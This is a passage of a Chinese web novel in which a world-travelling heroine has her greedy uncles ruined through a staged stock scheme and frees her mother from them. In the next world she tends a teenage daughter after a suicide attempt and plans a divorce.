“那就叫打人?”云灵抬眼看向了对面两人,笑容冰寒,“要不要让你们见识一下,什么才叫真正的打人?”
“怎……怎么,你还想打我们不成?”云老幺硬着脖子叫道,“我可是你舅舅!”
“是吗?”云灵翘着二郎腿,嗤笑一声,“我还以为你是刚才那个老头儿的狗腿子,只负责跪舔呢。”
“你!”
云老幺气得想要掀桌,却被突然爆发的云母打断了。
“够了!”云母一下子站起身来,“你们俩够了!小灵是我女儿,是你们的外甥女!你们还是人吗?刚才那个陈老板是什么意思,你们眼瞎了看不出来?不让我走,好,我听你们的给个面子留下来。吃顿饭,可以,我也答应了。可眼看着人家对你们外甥女占便宜,不帮忙也就算了,还骂我女儿没家教?你们的家教就是卖姐妹卖亲人是吧!”
之前回娘家讨要给出去的钱不成,被迫抵押家里的公司和房子,搬到那样的小房子里,云母已经很委屈了。
只是到底还心存念想,怎么也不愿意撕破脸皮。
可没想到娘家人一次又一次地做出这样的事,将她给出去的真心一遍又一遍的践踏。
云母终于忍不住,将这些日子积攒起来的怨气发泄了出来。
云家兄弟俩没想到站出来开骂的会是云母,脸上的怒气都跟着一顿。
云母却已经拉起了云灵的手腕:“走!这破烂饭谁爱吃谁吃,我们回家!”
云母的反应,完全出乎云灵的意料。她本以为,云母对云家的偏心,还能再忍耐几分。然而,今天,云母的怒火却突然爆发了。
云灵紧随云母,从包间匆匆走出,没有给云家兄弟任何阻拦的机会,便打车离开了饭店,回到了那个狭小的出租房。
回到家后,云母的脸色依旧阴沉,显然对饭店发生的一切耿耿于怀。
这种时候,云灵却一反常态,不仅没有再推波助澜,反而主动安慰道:“妈,舅舅他们也
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不是故意的。他们也是为你好,想让人帮忙而已。哪知道那个陈老板是这么个德行,才好心办了坏事,你就别气了。”
人在气头上,一般都是有逆反心理的。
如果云灵现在跟着痛骂那两人,一向偏心的云母说不定心里会更加难受,然后又开始为他们找借口。
可是,能想到的借口被云灵这样说了出来,她心里反而空落落的。
见女儿如此信任,云母却更加生气。
她们母女俩这样信赖,大哥和弟弟又是如何回报的呢?
她就不信了,她们两个女人刚一见面都能看出来的猫腻,那两个大男人接触了这么长时间,都没能看出那个姓陈的家伙的本性!
哪怕是从前来往的时候没有注意,可要给自家姐妹介绍牵线,这方面怎么可能不去考察?
说到底,他们只是看重了钱而已!
云灵越是不介意,云母就越是恼恨:“小灵,别说了。以后你那两个舅舅的事,你少接触。别到时候他们把你卖了,你还替人数钱呢!你从小到大被大姐保护得好,哪知道人心险恶。这年头,就算是家里人也是摸不着心的!”
说完,她便直直地进了厨房。
她们俩刚才什么也没吃,这会儿还得自己做饭。
云灵看着云母的背影,微笑了一下。
要说云母改变了,那是有的。
可要说她以后都不会再管云家的事了?
云灵是不会信的。
但此刻,她当然不会贸然开口点火,只是笑了笑,走上前去帮忙:“妈,这个我来弄,你先去把米饭蒸上吧……”
母女俩在厨房里忙活了一通,而饭店那边的兄弟俩却是将桌上的菜吃了一半,又将剩下的都打包带走了,才算满意。
反正这顿饭的目的已经泡汤了,可菜钱不便宜。
既然陈老板都给了钱,他们可舍不得丢下,当然是先吃到肚子里再说。
等回家把饭菜放了,他们才又聚了头。
“大哥,你说现在可怎么办才好?”云老幺愁眉苦脸,“二姐她现在脾气怎么这么大!人家好好的大老板她还不满意,这是想嫁总统还是咋的?真当自己还是十七八岁的大闺女啊!”
云老大狠狠地吸了一口烟:“现在说这些也没用,要不……我们再去陈老板那儿说说,好歹让他收一收,等和小妹结了婚再谈其他啊。”
两人随口谈了几句,果然就这么出了门,直朝陈家去了。
以前双方有“交易”,自然你来我往十分痛快。
可才一天,他们就连小区的门都进不去了。
陈老板虽说为了以防万一,当场没有发怒,而是一走了之,可不代表他心里不存气。
这会儿愿意见这兄弟俩才怪了。
两人被拦在外头,差点儿让保安驱赶,丢了个大脸。
陈老板这条路行不通,那边儿催债的还随时可能上门找他们家麻烦。
这云家兄弟二人正骂骂咧咧地想去找云母和云灵,看看能不能从她们身上弄出点儿钱来解燃眉之急,就被一个男人拍了拍肩膀,热情地将他们给拦了下来:“咦,老云,还真是你们兄弟啊,我还以为自己认错人了呢!”
29. 凤凰男与扶家魔世界
这男人长着一张大众脸,是那种混入人群都无法引起别人第二眼注意的模样。只左脸长着一颗不大不小的黑痣,才稍微有了点儿个人特征。身上穿着一身西装,不太正式,却又显露出了几分不同。脖子和手腕上分别戴着金色的项链和手表,还有几颗细小的碎钻点缀着,看上去貌似并不便宜。
云家兄弟二人疑惑地看着这个突然冒出来打招呼的男人,一时记不起这是谁。那男人却已经热情地自我介绍起来:“不是吧,老云,你连我都忘记了啊?当初咱们可是一起从村儿里出来打工的,我记得你还有两个妹子是吧?还有老幺,我以前还给你买过糖呢。我和你们云家可是同一个村的,我妈跟你们不是堂亲吗?”
云家兄弟自然记不得什么堂亲不堂亲的了。自从大姐做了生意以后,云家早就靠着云母搬出了那个村子,一家人都进了大城市,哪还想再回去?也就是头两年享受了一下衣锦还乡的虚荣,偶尔会回乡溜达一下。后来,连那块土地都不愿意踏足一步了。
比起城市里的繁华享乐,村里的条件自然不怎么样,他们一家都不是什么能憋得住的性子,当然也就不乐意回去给自己找罪受了。
这会儿冒出来个莫名其妙的堂亲,也没啥印象。可看这男人身上的饰品,两人却没有把话说绝,反倒是多出了些想法。
云老大装作有些印象的样子说道:“你这么说,我好像想起来了一些。就是这几年记性不太好了,许久没见有些模糊。兄弟你……”
“我是康利啊!”男人连忙道,“我爸就是村头儿的老康!”
什么老康不老康的,云老大是记不得的。但见这人坦坦荡荡,还说了许多细节,心里也就信了大半。再说了,人家这样子看着是发了财的,倒是他和弟弟啥都没有,难不成还怕被人捞好处?
于是,他和云老幺一个对视,就已经双双变了态度,亲亲热热地跟康利勾肩搭背称兄道弟起来。
“走走走,咱们去旁边的茶楼坐着聊!”康利一副高兴的模样,“这么多年不见,站在这大街上算是怎么回事?去喝喝茶聊聊天,晚上我请你们去吃饭!老婶子他们都还好吧?有时间也约在一起见见啊,我都好些年没回去了,心里可惦念着呢。”
云老大兄弟俩本还有些犹豫,可见他这么热情,又提起了家里的老母,心里唯一的顾虑都没了,果真跟了上去。
这一去,可就见识到了新天地。
从前他们从云母那儿弄来的钱,也就是去买买东西打打小牌。最奢侈的,也就是上回被人拉进了赌博圈,一下子钱财耗尽不说,还欠下了一笔赌债。
跟着康利,他们才知道,原来有钱之后还能这么玩儿!
不过几天的时间,两人就从一开始的称呼全名,到现在一口一个“小康”、“康哥”叫个不停了。
这一熟,难免就会打探起其他的消息,包括康利这些年是干了些什么才有现在的成就。
按理说,被问到发财的路子,一般人都会遮掩几分。没想到,康利对他们倒是大方得很,没多想就说了出来。
“老云,不是我说,这赚钱啊,那就要胆大心细敢拼!”康利一张脸写满了志得意满,骄傲地拍了拍胸脯道,“当初要不是大着胆子把那几年的积蓄都投进去了,恐怕我现在都还是个穷搜的打工仔呢!可我就是拼了那一回,资产直接翻了十几倍,瞧瞧现在,哈哈哈,这才叫过日子啊。”
云老大喝了酒的脸上涨红一片,不由得问道:“这么赚?”
康利摇了摇头:“现在可不如以前的光景了。不过呢,只要走对了路子,还是有得赚的。当然,要想投钱进去,还是得谨慎一些,至少留下后路,可别把身家全放进去了。”
他语重心长地对着这兄弟俩说道:“这些年可有不少的傻蛋不懂装懂,结果输得底裤都不剩的。你们可别学那套。好在我运气不错,每次都正好在跌盘之前抛售出去,人家都叫我小财神,嘿嘿。”
他要是一个劲儿鼓吹赚钱,云家兄弟俩还放心不下。但他这么一劝,两人反倒上了心,连连又问起了炒股的事情,想让他带着他们也赚一笔。
刚才还慷慨分享经验的康利却连连摇头:“这可不行。就是因为是兄弟,我才不能带你们。股市上的事儿,谁能说得准?万一跌了,咱们之间的情谊都要被影响。还是算了算了,我自己买进卖出,是赚是赔都无所谓。可你们……算了,我可不想没了兄弟。”
他越是推拒,云家兄弟俩越是相信,连忙说道:“放心!小康啊,好歹也是同乡,我们不求大富大贵,就想着你吃肉,咱们也有幸跟着喝口汤而已。我们听你的,就只投一点儿资金进去,保证不玩儿大的。就算输了也能承受得住,哪能怪到你身上呢?”
康利却始终不肯松口,只顾着请客吃饭喝酒,还带着他们去一些销金窟里享受。
见识到这样的生活,云家兄弟俩更不愿意放弃了,几乎每天都想着怎么让康利带着他们赚钱,连带着云母那边都没空去打扰了。
就这么缠了大半个月,康利才终于动摇了,让他们各自拿了几千块来试试水。
这一试,可就不得了。
不过是投入了几千,一周后就连翻了几倍,变成了上万。
兄弟两个顿时激动起来,直接将赚到的钱加上原本的几千块本金再次交给康利投进去。
这一回翻的更多!
直接变成了六位数存款!
这么下去,不仅是收回本金,连那笔赌债都能还上了啊。
只是,到底投入的不算多,每次翻倍的概率也不同,来来去去的让人着急。
就这么些钱都能翻倍涨,如果投入更多,他们是不是直接就变成和康利一样的有钱人了?
不只是他们俩,家里人也知道了这件事。一开始还担心被人骗了,可见到实打实的存款,顿时就高兴地红了眼,跟着在两人耳边撺掇起来。
云家兄弟俩犹豫了一个月后,终于下定了决心,决定干一笔大的!
没有云家的干扰,云母反而更加迅速地适应起现在的生活了。怎么说早年也是从家境平凡的状况走过来的,这些年虽说养尊处优,以致于一开始无法接受这样窘迫的境况。但到了别无选择的时候,除了面对,也没有其他办法了。
或许是被兄弟坑了一把,又或许是那个陈老板的姿态,让云母对女儿愈发愧疚起来。她在渡过了最开始的适应期后,竟然提出了想要打工挣钱的想法。
“妈,你真的想好了吗?”云灵没有立刻答应下来,沉吟了片刻才问道,“去打工,老板可不会对我们有什么特别的照顾。早出晚归吃苦受累是一方面,还很有可能会受气,不管是来自客人还是来自同事。而且……万一被你以前认识的朋友看到了……妈,你这些问题都考虑到了吗?”
云灵当然不会阻拦云母的改变。可是,她也很清楚,如果不提前说好这些问题,真遇到事情,云母很有可能第一时间就会退缩,甚至后悔此时的决定。倒不如提前打好预防针,免得将来再出纠纷。
云母果然犹豫了起来。她心疼女儿一个人赚钱养家还要还债,又被陈老板那天吃豆腐的行为刺激,才有了这些年头一回出去打工的勇气。但被云灵这么一问,便又觉得慌乱起来。
可想到家里那不知还欠了多少的债务,跟女婿离了婚后孤零零的闺女,以及娘家兄弟那冷冰冰的利用,云母到底没能把退缩的话说出口,咬了咬牙道:“我想好了!去!总不能让你一个人背债。虽说我可能也赚不了多少工资,但好歹能补贴一下家用。早日还清了债务,咱们也能早些过上好日子。”
这些话一说出口,云母的决心就更坚定了一些:“小灵你不用担心了,在你大姨母生意做起来之前,咱家也不富裕,当初上学都还是靠我勤工俭学赚来的生活费和学费呢!现在虽说年纪大了,可也不是那么没用的。”
既然她本人都已经
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想好了,云灵就更不会阻止了,终于点头道:“嗯,妈,我相信你一定可以的!”
女儿的信任,成了让她下定决心的最后一道关卡,云母一点儿犹豫也没有了,志气满满地保证:“我们好好地做事,总有一天能重新过上以前的日子的。”
在云灵出去“上班”的时候,云母也收拾好了自己,开始外出寻找合适的工作。她的确不算年轻了,就算看上去不显老,可这些年也没有什么工作经验,当初的学历放到现在已经不算起眼,加上吃不了太多的苦头。就这么过了几天,也没能找到工作。
云灵像是一个放风筝的人,手里把握着一根线。让云母经历过一番磋磨,却又赶在了她彻底灰心丧气之前,暗中吩咐人替她安排了一个在商场里做导购的工作。
这工作大多是年轻人,按理说云母的年纪并不合适。但她气质好,容貌佳,又很会收拾打扮,保养的比年轻人还要好,加上对这些高价化妆品十分熟悉,竟然还真的挺适合这份工作的,上班的头几天就有了不错的表现。
工作有了起色,这给了云母极大的成就感。她没想到,自己这些年的经历,居然还能对她现在的工作起到帮助的作用。在拿到第一个月的工资和奖金提成后,云母的心情前所未有的开心起来,甚至比之前从大姐那里轻松拿到零用时的感觉还要好。
云灵将这些都看在眼里。这份工作她也只是根据云母的情况做了一个推荐安排,确保她会被录用而已。后面的具体情况,云灵并没有干涉。所以,云母有了现在的成绩,还真的是靠自己的本事得来的。
这样也好。一旦有了奔头,底气就会更足。从前云母总觉得只有娘家人可靠,百般帮助就是为了有朝一日遇到麻烦,还能有人帮她一把。但现在,先是见识到了娘家兄弟的险恶用心,现在又发现自身其实并不是没用,大大提升了她的安全感。
云母的变化可能连她自己都没有发现。但一步步将她引导至今的云灵是不可能忽视了这些细节的。
想到那兄弟俩的情况,她笑了笑,拨出了电话。
“老板?您怎么打电话过来了?”电话很快就被人接起,那边传来了一个男人的声音。
云灵简单的回了一声,便问道:“安排你做的事情还顺利吧?”
那人连忙回答:“当然没问题了!有您的远程操控,那两个蠢……那两人现在可是赚得不亦乐乎,完全不想撒手了呢,哪会怀疑有什么问题。”
云灵一听,满意地一笑:“那就好。准备一下,这两天就开始收线了。”
“好的,老板,我这就去安排!”那个男声顿时激动起来,“保证按照你选好的那几只股票走!”
云灵又吩咐了几句,这才挂断了电话。
电话另一边,听见忙音响起的男人收起了手机,忽的松了一口气。云总就是气势太足,每次他说话都不敢大声,简直比自家亲爹还让他敬畏。不过,这本事也是真的。就说下套的过程中选的那些股票,真是点中那一股,就会开始涨。抛售那一股,过不了几天就开始跌。
他炒股这么些年,还真是头一回这么佩服一个人。就凭这一手,让他去应付那对贪得无厌的兄弟俩,都不算什么问题了。
这男人站起身来,一张脸暴露在了阳光下,左脸上的一颗黑痣格外醒目,可不就是那个跟云家兄弟俩交好的康利吗?
他走出房间,打开电脑操作了一会儿,这才重新拿出手机,拨打了那一串近日联系了多次的号码,语气也跟着热情洋溢了起来——如果不看那张并没有多少表情的脸,还真当他和对方是好哥们儿了:“老云啊,对对对,是我。没事,当然没出什么问题,我你还不放心吗?对了,就是最近新出的一只股票,我觉得还不错。我已经投了钱进去了,你们打算追加吗?如果不想就算了,就按照现在的那几只涨势应该也不错。啊?你们也要?确定吗,不好好考虑一下?那行吧,好嘞,等着我的消息啊……”
30. 凤凰男与扶家魔世界
等到云家兄弟二人再次找上门来,距离那次“相亲宴”已经过去两个月的时间了。云母才刚下班回来,正和云灵商量着,过几天趁着假期去附近玩玩,权当是散心放松,免得累出了毛病,便听到了敲门声响了起来。
一开门,就见娘家兄弟站在门外。兄弟两个长得本就有些相似,头发也都是乱糟糟的,身上的西装胡乱地穿着,连纽扣都没有对齐,看着简直不像样。
这么长时间没见,突然碰面,云母却有种恍若隔世的感觉。以前她离了家出来读书打工,一年不见也是有的。可后来条件好了,加上娘家时不时就要上门打秋风,他们便许久未曾这样了。也就是云家刚破产那会儿,娘家人避着她,才有一段时间不曾见面。
那时候她一颗心都寄在娘家身上,只觉得伤心气恼,倒也没想其他。然而这一次,云母享受到了赚钱的成就感,根本没什么时间去想没良心的娘家人。乍一相见,反倒觉得时光匆匆,想念是没有的,生疏感倒是不少。
到底还是亲人,哪怕不喜这二人上次的行为,云母还是将人接进屋来:“这是怎么了?”
云家兄弟俩一进屋就浑身脱力地坐下了,被云母问起,眼睛干涩地发红,哑着声说道:“小妹,这次我们只能求着你帮帮忙了。我……我和弟弟俩真的是破产了!”
“啊?”云母不曾和他们见面,却也是从两个嫂子有意无意的炫耀里听出了些事情的,“不是说赌债都已经还清了吗?现在怎么又成这样了,你们别又去赌了吧?”
“没有,没有,上次受的苦还不够吗,我们怎么可能再去沾染那东西,”云老大苦着脸,“我……我们遇见了个老朋友,带着我们两家炒股,赚了不少钱,这才还清了赌债。”
听到这里,云母的心里就已经冷了一半。这两家明知道她和女儿也是负债累累,可有了赚钱的办法,却藏着掖着,从未想过帮帮她们。两个嫂子也是话里话外的炫耀家里添了什么东西,比大姐从前有本事之类的。
云母自己常帮娘家人,却从未想过不劳而获拦截他们的钱财。哪怕知道兄弟日子好过了,也没起过让他们帮忙还债的念头。如今听到对方完全没考虑过她和女儿,心里怎么可能不发凉?
云家兄弟俩也知道自己做事不太地道。但是到底这些年已经习惯了云母的单方面付出,不过心虚了瞬间,就继续说了下去:“可好景不长。我们本来想着,最后再赚笔大的,说不定还能帮帮大妹和外甥女,谁知……”
这话若是配合行动,那肯定是会让云母感动异常。可前后不一致的言行,加上云母如今也是在外工作历练过的人,哪能看不出真情假意?不但没有感动,反而愈发觉得讽刺了起来。
可她没有打断对方的话,只沉默地听着,倒是想知道这两位发了财的兄弟到底想来做什么。
“谁知股市突然暴跌,我们原本看好的那几只股全都跌到了底,”云老大眼里显出几分绝望,“不仅赚的钱没了,连本金都赔了进去。我……我们之前为了能翻倍,把家里的房子和地全都卖了,现在……现在真是赔得裤子都不剩了!”
云老幺也是满脸颓然:“本想着能东山再起,又借了些钱填进去。可这坑是越填越深,又输了个精光。”
其实借钱后他们又赚了两次,堪堪能够还得起借款,还能留下一小笔存款。但家里的房子和地都没了,又见识过了前段时间的大额存款,两人哪里肯甘心就此罢手?康利说什么也不愿意再帮忙,就怕又赔了进去。
云家兄弟二人却已经急红了眼,直接委托了旁人把钱又投了进去。这一回,就是真的输得分文不剩了。
房子和地没拿回来,存款也直接赤字,欠债还没还上。好在这一次没有去借赌场的高利贷,但家中亲朋好友,附近的左邻右舍,全都成了债主。
逼得他们如今连出门都想蒙着脸,在人家上门讨债的时候,两人甚至钻了床底,把老脸都丢光了。
云家老太太实在是丢不起那个人,加上住房没了,也知道女儿如今自己的债都还不上,肯定也帮不上什么忙,灰溜溜地提着包裹就回了老家。那地方虽说穷了点儿,可好歹饿不死人,生活消费也不算高。她那点儿藏在乡下的棺材本,别的不说,吃几顿饭还是可以的。
她老人家拍拍屁股走了,云家兄弟俩却是脱不得身的。两人欠款太多,已经被控告上诉,甚至加入了通行黑名单,连火车高铁之类的交通工具都无法使用。
今日求到云母这儿,也实在是没有后路了。
“你们那个朋友呢?”云母直接问道,“该不会是个骗子吧?”
蔡家兄弟俩摇了摇头:“康兄弟他自己也赔惨了,早早地收了手去了外地。走之前还劝我们不要再冒险,可是……”
两人倒也是真的完全没有怀疑过康利。谁让人家从头到尾一直劝他们收手,甚至后来小赢的两次,都是康利替他们填了些钱,还卖了人情关系去找内部消息才有的结果,就是为了让他们能还债。
两人对一直真心付出的自家姐妹所求无度,且毫无感恩之心,对外人反倒是没有那么高的要求。所以就算康利离开,他们都没有记恨,反而后悔自己之前没有听他的话见好就收。
云灵见云母没有说话,这才开口道:“舅舅,那你们现在该怎么办呢?我认识几个工地的朋友,要不你们去那儿搬搬砖,做些劳力活吧!累是累了点,一个月也有好几千,做得好了还能上万。一点一点还,这债务迟早能还清的,至少比我家的那笔债轻松许多。”
云母本还为他们担心,听女儿这么一说,一想也是,他们欠的债比起自家来说,简直是小巫见大巫啊,她操的是什么心呢:“小灵说得对,你们要不就去试试?”
云家兄弟俩过来是想让云母帮忙借钱的,可不是想去工地搬砖。这些年被惯坏了的不只是云母,还包括云家的人。他们连简单的坐班都不乐意,更何况是去建筑工地干苦力活?
一时间,两人的脸色都变得难看起来。
云母又不是傻子。从前是自己乐意,就算知道也不愿意深究,现在活得明白了些,哪还能再被蒙骗下去?
“哥,不是我说你们,现在都什么时候了,还有什么好犹豫的,”云母皱着眉劝说道,“赶紧挣钱还了债才是正事,你们年纪也不小了,这种力气活还得趁早。否则,以后就算是你们愿意,也没有人收了。”
要不是自家亲兄弟,她都懒得开口劝。
既然云母已经开了口,云灵当然不会在这个时候主动唱黑脸,乐得在一边当透明人。
云家兄弟俩却被云母的话气得说不出话来,憋了半晌才道:“我……我们再想想办法,实在不行再来麻烦外甥女吧。”
说完后,不等云母挽留,就赶紧离开了。
他们俩一走,云母就跟云灵抱怨起来:“都是大男人了,怎么还不懂事。还好不是高利贷,否则让他们这么拖下去,估计下辈子都还不起了。”
云灵挽住她的胳膊,笑着说道:“妈,舅舅好歹也是几十岁的人了,哪能不知道这些?您就放宽了心,他们说不定有自己的想法。咱们还是来想想,假期去哪儿玩吧!”
说起这个,云母顿时高兴起来。破产之后,整天忙着适应新生活,后来更是重新开始工作,哪有放松的机会。这次能出去散散心,云母可是已经期待了很久了,注意力一下子就被转移开了。
云家那边却是火烧眉头。两人不乐意干苦力,回去又东拼西凑找钱还债,争取不被告上法庭。可这种拆了东墙补西墙的行为,总归不是个办法。
而且,认识他们的人谁也不是傻子,明知道这两人还不起钱,哪能乐意借给他们?也就是个别抹不开面子,才施舍一般的借个一两百块钱,就当是打发人情关系了,根本没想过要他们还的。
这几百块能有什么用,还不够债务的零头,也就只能让他们拿去买几包烟或是在外头吃顿好的。
云家老太太提前回老家避难去了,摆明了不会管这事儿。两个舅母一开始还好,可等到催债的人越来越多,一波一波找上门来,甚至影响到了正常生活,连带着孩子都被牵扯到差点儿丢了工作,也跟着坐不住了
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要房没房,要钱没钱,这些年过惯了好日子的她们可受不了这种丢脸的处境,纷纷闹起了离婚。
云家兄弟俩没办法,又找上了云母帮忙。云母一开始耐不住他们哀求,又实在担心这兄弟俩离婚,把自己工作存下来的一点儿钱也借给了他们。
谁知一借出去就没有停下来的趋势,反倒让两人跟赖上她似的,三天两头就打电话让她帮忙借债。
这一下,云母就不乐意了。从前有大姐养着,她不需要赚钱,自然不知道其中的辛苦,不管娘家人需要什么,她都乐得奉献。可现在,辛苦赚钱养家的除了云灵就是她。
别看在商场里做销售好像挺容易的,实际上做哪行都有自己的难处。高跟鞋穿着是漂亮,但那是在她有钱的时候穿着玩乐,出门都有司机接送,回家还有保姆伺候。
现在穿着一双高跟鞋从早站到晚,还要不停地跟客人介绍产品,走来走去帮他们拿看中的商品。最开始的几天,她的脚连打了几个泡,磨得血肉模糊,第二天还不得不贴着创可贴继续工作。等到时间长了起了一层茧,这才好了许多。
她提成不少,也意味着接待的人数多。一天下来嗓子就跟吞了一把沙似的,难受得直灌水。而且,不是每一个客人都很有素质的,遇到那种刁钻找茬的人,她还不得不挂着笑脸赔不是,把自己的脾气都磨掉,就为了那一点点工资。
可以说,这段时间的工作,让云母整个人都变了。连带着对死去的大姐,和同样在辛苦工作的云灵都心疼了起来。知道来钱不易,借出去就更不舍得了。
一开始借给兄弟俩那是情分,后来再要?她可没那个钱,也没那个精力了。
于是,这两兄弟再上门,云母便直接开口拒绝了,甚至像他们道起了自己的不容易,还想反过来找他们借钱还债。
云家兄弟俩自个儿都穷得卖家当,哪有钱借给她?就算是有钱,那也是不舍得的。加上云母还老说一些教导他们去干苦力赚钱的话,次数一多,他们就不乐意过来了。
催债催得紧,家里又一团糟,兄弟俩干脆包袱一背,悄悄溜了。
他们一走,两个舅母自然就被债主找上了,不得不开始变卖以前买的那些奢侈品还债,生活条件一降到底。
云家兄弟俩虽然避开了这边的债务,可早已经上了征信黑名单,正经的工作都应聘不上,又被从前的生活弄得眼高手低,成天混日子,一天过得比一天差,几乎和流浪汉没什么区别。
云母知道云家的情况后,失眠了一夜,可等到第二天闹钟一响,还是打起精神爬起了床,收拾好赶去商场上班。忙碌的工作立刻占据了她的思绪,哪还有功夫伤春悲秋?
云灵直到云母离开前,也没有在云母面前暴露出她的真正身价。有的人,只有在穷的时候才能保持清明。一旦有钱了,又会开始从前不必要的“善心”。云母就是这种人。
云灵只给了她一个紧张的生活环境,让她彻底甩开了对云家的依附。直到云母去世前,都还特意吩咐闺女,如果舅舅家有人找来,千万不要心软借钱给他们,免得拖累了自己。
云母一走,云灵的生意才摆上了明面。
至于云家的人,早就已经走的走,离的离。
那个曾经盯上云家的凤凰男,更是到死都没摆脱凶悍的老婆和岳父,早早地就落下一身残疾,最后是受不了自杀在医院里的。
云灵在离开这个话本世界之际,她将所有财产捐献给海外的动物保护组织。她深知,神祇宝典对她的期望——积累功德。
虽然她并没有亲自投身于善行,但她的慷慨解囊,也是一种善举。每一个因她而得救的生灵,都让她增添了一丝功德。
在上一个世界,除了留给宋雪儿的财富,她也是将剩余的金钱悉数捐赠给了动物保护组织。
后来,那些善举已经为她积累了丰厚的功德。
尽管话本世界并非真实世界,功德的价值会大打折扣,大约只有现实中的十分之一,但那又如何?至少,她依然在积累功德,不是吗?
31. 救赎世界
云灵醒来时,发现自己正躺在一间客厅里。这里被打理得一尘不染,每件家具都散发着洁净的光泽。
然而,这间屋子却笼罩在一种压抑的阴暗之中。
深色的窗帘紧闭,将外界的光明隔绝在外,只留下冷冽的灯光在室内投下幽暗的影子。墙上挂着的抽象画作和冰冷的玻璃装饰,让这个空间显得井然有序,却缺乏一丝温馨。
融合了剧本原主记忆的云灵没有时间细想,猛地站起身,冲向浴室,心中涌起一股不祥的预感。
她猛地推开浴室的门,一股刺鼻的血腥味扑面而来,与沐浴乳的香气交织,形成一种令人作呕的怪异气味。她一眼就看到了躺在浴缸中的小姑娘。
小姑娘看上去不过十三四岁,本应是无忧无虑的年纪,却浑身布满了愈合后的疤痕,像是经历了无数磨难。手腕上,几道新鲜的伤口正汩汩地涌出鲜血。
云灵的心中涌起一阵窒息感,她快步上前探查状况,迅速封禁了小姑娘穴位,并拨打了急救电话。
救护车呼啸而至,申宝却依旧昏迷不醒,直到在医院的抢救中,她才在痛苦中醒来。医生检查了伤口,决定不使用麻药,直接进行缝合。
每一针都让申宝的身体微微颤抖,她的额头上很快布满了冷汗。云灵紧紧抱着她,让她的脸紧贴着自己的腹部,轻声安慰:“别看,别看,很快就好,妈妈在这里……”
申宝的抽噎声在手术室里回荡,她的胳膊被固定得紧紧的,以防颤抖或挣扎影响手术。这场折磨终于结束了,缝合后的伤口只需要后期的换药和疗养,申宝就可以回家了。
从医院出来,申宝的手腕被纱布紧紧包裹,云灵手中多了一袋沉甸甸的药,里面装着各种消炎镇痛的药片。
回到家,家中依旧一片狼藉。从浴室到门口,一串血迹断断续续地洒在地上,半干的暗红色痕迹,像是沉默的控诉。
云灵小心翼翼地将申宝安置在客厅的沙发上,轻抚她的头,然后开始清理血迹。申宝沉默地注视着,片刻后,她终于忍不住开口:“妈妈,你……你不骂我吗?”
她的眼睛本应闪烁着青春的光彩,现在却黯淡无光,仿佛失去了少女应有的活力,让人不禁联想到风烛残年的老人。只有那不易察觉的紧张和担忧,才透露出她真实的年龄。
“你希望我骂你吗?”云灵停下手中的活,将拖把放到一边,“还是你认为,自己做错了,应该被骂?”
申宝看了她一眼,然后低下头去。云灵没有打算责备她,她知道责备无济于事。这孩子心里藏着太多,每次自伤后,她都深感自责,却从不敢表露。
“我不骂你,但这不代表你伤害自己是正确的,”云灵走到申宝对面坐下,“但我这次原谅你。宝儿,作为交换,你也原谅我一次,可以吗?”
申宝不明白妈妈为何这么说。她没有回答,只是抬起头,用她那双黑色的眼睛凝视着云灵。
云灵说:“我想和你爸离婚,你会生我的气吗?”
申宝的脸上终于露出了惊讶:“为……为什么?”
“没有为什么,就是突然想开了,”云灵直言不讳,“世界这么大,我想去看看。你爸又不是什么灵丹妙药,我也没必要在他身上吊死,不是吗?”
云灵没有打算隐瞒这个孩子,因为她心思敏感,加上家庭环境特殊,这孩子早熟得很,瞒也瞒不住。
不如坦诚相待,这样彼此都没有负担,还能让申宝真正感觉到自己有参与决策的权利。
申宝不太相信,她看着面前的妈妈,觉得这个往日里让她喘不过气来的母亲,似乎有什么地方突然发生了变化。
她说不出那种变化是好是坏,她知道自己的内心,支持妈妈离婚。
母女俩都将自杀的事情抛诸脑后,转而讨论起了离婚的事。当然,大多数时候是云灵在说,申宝只负责倾听。
云灵将她的未来计划,离婚中的财产分割,以及想要给申宝改姓等安排,一一细致地向申宝解释。她不在乎小姑娘是否能够完全理解,她只是要表明自己的尊重。
知道的越多,疑惑就越少。半知半解时,想象力总是不受控制地蔓延。
当云灵说得如此直白,申宝突然相信了,母亲是真的放下了,不是因为她而被迫放手。
她心中涌起一丝喜悦,但脸上却难以展露。即使容貌姣好,申宝却失去了孩童应有的天真与活力,与同龄人相比,她显得过于阴郁内向,难以亲近。
云灵对乖巧的孩子总是宽容的,看到她的样子,心中只有无尽的疼惜。
她没有立刻拥抱她,告诉她一切都会好起来。多年的隔阂,不是一时半会儿能够消融的。贸然接近只会让彼此更加不自在。从细节开始,慢慢融化冰冷的关系,或许更好。
云灵轻轻拍了拍小姑娘的头,亲昵中带着几分温柔:“好了,去房间休息吧。我打扫完房间给你做好吃的。”
申宝没有回答,对母亲十几年如一日的手艺并不抱太大希望,但还是乖乖地回房间去了。
今天,她本以为回来后,要么会看到母亲痛苦地流泪,不停地说“对不起”;要么会被母亲打骂一顿,让她不准再做傻事。
但这些都没有发生。
申宝躺在床上,呆滞地看着天花板,心中一片茫然。她轻轻地摸了摸伤口上缠着的纱布,按理说,这么多次,早就应该习惯了。但这次,似乎有些不同。
是在急救室被妈妈抱着的时候,还是回来的路上被她一直牵着手?
申宝说不出来,也不想去想这么多。她失血后的大脑晕沉沉的,很快就在半梦半醒之间。
云灵在外面迅速收拾好了房间,又去厨房把粥煲上,这才回到了客厅。原主的脸和申京有些相似,却成熟了许多,眼角有几分暗纹,头发凌乱没有造型,身上的衣服是那种典型的家庭妇女的家居服,完全看不到一点儿属于个人特色的魅力。
云灵只对着这张脸看了一会儿,就站起身来。她将客厅的帘子拉开,让外面的阳光照射进来。
现在的外送行业十分发达,没一会儿她定好了的东西也都送货上门了。
云灵将这些都收拾好了以后,才察觉身上除了不少的汗。
她去看了看宝儿的房间,发现孩子还在睡觉,这才放心地拿了衣服和剪刀去了卧室。
那头干枯的长发,直接被她剪成触肩短发…
申宝觉得自己像是在做一个不真实的梦。
她是被一阵食物的香气给叫醒的。
睁开眼的时候,正好听到了母亲敲门的声音。
她坐起身来,走过去开了门,就看到了焕然一新的母亲。
作为年轻时能够迷倒“文艺青年”男老师的女学生,原主的底子当然是不差的。
婚后却渐渐将所有和“享受”有关的东西都收敛了起来,那些不适合做家务的裙子,没时间打扮的化妆品,全都蒙了尘。后来丈夫出轨,她就更没心思了。
云灵虽不会化妆挽发,但剪了头发,换上了连衣裙,足以在小姑娘的眼中一改家庭主妇的形象。
如今的客厅里也变了样,厚重的绒质窗帘变成了轻纱,外面还有夕阳的余晖洒进来。
客厅里多了些颜色鲜艳跳跃的小抱枕,毛茸茸的样子一看就很舒服。
